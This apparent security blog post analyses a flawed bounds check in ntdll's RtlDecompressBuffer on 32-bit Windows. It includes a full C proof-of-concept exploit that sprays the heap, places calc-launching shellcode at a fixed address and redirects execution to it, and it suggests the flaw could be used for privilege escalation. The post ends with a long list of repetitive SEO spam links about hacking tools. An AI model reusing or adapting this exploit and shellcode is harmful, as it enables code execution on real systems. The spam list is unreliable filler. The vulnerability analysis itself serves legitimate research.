The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.
The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.
The algorithms callback table
Notice the five nops at the end probably for adding new algorithms in the future.
The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]
The bounrady checks
We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:
int RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6)
{
int result; // eax@4
if ( algorithm & algorithm != 1 )
{
if ( algorithm & 0xF0 )
result = -1073741217;
else
result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6);
}
else
{
result = -1073741811;
}
return result;
}
Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.
let's check the disassembly on Win7 32bits:
- the movzx limits the boundaries to 16bits
- the test ax, ax avoids the algorithm 0
- the cmp ax, 1 avoids the algorithm 1
- the test al, 0F0h limits the boundary .. wait .. al?
Let's calc the max two bytes number that bypass the test al, F0h
unsigned int max(void) {
__asm__("xorl %eax, %eax");
__asm__("movb $0xff, %ah");
__asm__("movb $0xf0, %al");
}
int main(void) {
printf("max: %u\n", max());
}
The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9?
So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.
Proof of concept
This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.
The result on WinXP:
The result on Win7 32bits:
And the exploit code:
/*
ntdll!RtlDecompressBuffer() vtable exploit + heap spray
by @sha0coder
*/
#include
#include
#include
#define KB 1024
#define MB 1024*KB
#define BLK_SZ 4096
#define ALLOC 200
#define MAGIC_DECOMPRESSION_AGORITHM 9
// WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php
/*
unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93"
"\xBF\x77\xFF\xD2\xCC"
"\xE8\xF3\xFF\xFF\xFF"
"\x63\x61\x6C\x63";
*/
// https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html
char *shellcode =
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
"\x57\x78\x01\xc2\x8b\x7a\x20\x01"
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
"\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73"
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61"
"\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7";
PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits
void fail(const char *msg) {
printf("%s\n\n", msg);
exit(1);
}
PUCHAR spray(HANDLE heap) {
PUCHAR map = 0;
printf("Spraying ...\n");
printf("Aproximating to %p\n", landing_ptr);
while (map < landing_ptr-1*MB) {
map = HeapAlloc(heap, 0, 1*MB);
}
//map = HeapAlloc(heap, 0, 1*MB);
printf("Aproximated to [%x - %x]\n", map, map+1*MB);
printf("Landing adddr: %x\n", landing_ptr);
printf("Offset of landing adddr: %d\n", landing_ptr-map);
return map;
}
void landing_sigtrap(int num_of_traps) {
memset(landing_ptr, 0xcc, num_of_traps);
}
void copy_shellcode(void) {
memcpy(landing_ptr, shellcode, strlen(shellcode));
}
int main(int argc, char **argv) {
FARPROC RtlDecompressBuffer;
NTSTATUS ntStat;
HANDLE heap;
PUCHAR compressed, uncompressed;
ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz;
RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer");
heap = GetProcessHeap();
compressed_sz = estimated_uncompressed_sz = 1*KB;
compressed = HeapAlloc(heap, 0, compressed_sz);
uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz);
spray(heap);
copy_shellcode();
//landing_sigtrap(1*KB);
printf("Landing ...\n");
ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz);
switch(ntStat) {
case STATUS_SUCCESS:
printf("decompression Ok!\n");
break;
case STATUS_INVALID_PARAMETER:
printf("bad compression parameter\n");
break;
case STATUS_UNSUPPORTED_COMPRESSION:
printf("unsuported compression\n");
break;
case STATUS_BAD_COMPRESSION_BUFFER:
printf("Need more uncompressed buffer\n");
break;
default:
printf("weird decompression state\n");
break;
}
printf("end.\n");
}
The attack vector
This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7
More information
- Pentest Tools Review
- How To Hack
- Hacking Apps
- Tools Used For Hacking
- Nsa Hack Tools Download
- Hacker Tools For Pc
- Pentest Tools Github
- Hacking Tools 2019
- Hacking Tools Download
- Hacking Tools For Games
- Hacking Tools
- Hacking App
- Pentest Tools Apk
- Pentest Tools For Ubuntu
- Hacker Search Tools
- How To Hack
- Growth Hacker Tools
- Pentest Box Tools Download
- Kik Hack Tools
- Hacker Tool Kit
- Hacker Tools For Windows
- How To Install Pentest Tools In Ubuntu
- What Are Hacking Tools
- Pentest Tools Download
- Easy Hack Tools
- Pentest Tools Review
- Nsa Hacker Tools
- Pentest Tools Bluekeep
- Hacking Tools Pc
- Pentest Tools List
- Hack Tools For Windows
- What Are Hacking Tools
- Hacker Tools Free Download
- Pentest Tools For Ubuntu
- Hacking Tools Windows 10
- Android Hack Tools Github
- Pentest Tools Bluekeep
- Hacker Tools Github
- Hack Tools For Windows
- Pentest Tools Website Vulnerability
- Pentest Tools For Mac
- Pentest Tools Open Source
- Beginner Hacker Tools
- Hack Tools For Mac
- Pentest Tools Apk
- Pentest Tools Tcp Port Scanner
- Pentest Tools For Mac
- Pentest Tools Port Scanner
- Free Pentest Tools For Windows
- Hack Tools Mac
- Pentest Tools Review
- Nsa Hacker Tools
- Tools Used For Hacking
- Pentest Tools Framework
- Game Hacking
- Hacking Tools Kit
- Pentest Tools Linux
- Hacking Tools Free Download
- Hacker Tools Apk
- Hacking App
- Hack Rom Tools
- Computer Hacker
- Pentest Tools Review
- Hacker Tools Free
- Hack Tools
- Nsa Hacker Tools
- Hacking Tools Hardware
- Android Hack Tools Github
- Tools Used For Hacking
- Pentest Recon Tools
- Hacker Tool Kit
- Hack Tools Online
- Hack Tools Download
- What Is Hacking Tools
- New Hack Tools
- Hacker Tools Online
- Hackrf Tools
- Hacker Hardware Tools
- Hacking Tools Windows 10
- Pentest Tools Url Fuzzer
- Hacking Tools Download
- Pentest Tools Windows
- Hack App
- Hacking Tools For Mac
- Hacker Techniques Tools And Incident Handling
- Hack Tools Pc
- Physical Pentest Tools
- Hacking Tools Pc
- Install Pentest Tools Ubuntu
- Pentest Tools Download
- Hacker Tools List
- Pentest Tools Kali Linux
- What Are Hacking Tools
- Pentest Tools For Windows
- Hacker Tools
- Hack Tool Apk
- Hack Rom Tools
- Hacking Tools For Games
- Hacker Tools Free Download
- Hacker Tools Github
- Pentest Tools Tcp Port Scanner
- Hacking Tools For Windows 7
- Install Pentest Tools Ubuntu
- Nsa Hacker Tools
- Hacker Tools Apk
- Hack Tools Online
- Beginner Hacker Tools
- Top Pentest Tools
- Hacker Tools Github
- Hacking Tools For Windows Free Download
- Hacker Tools Apk Download
- Hacking Tools Kit
- Hacking Tools Hardware
- Tools For Hacker
- Beginner Hacker Tools
- Hacker
- Easy Hack Tools
No comments:
Post a Comment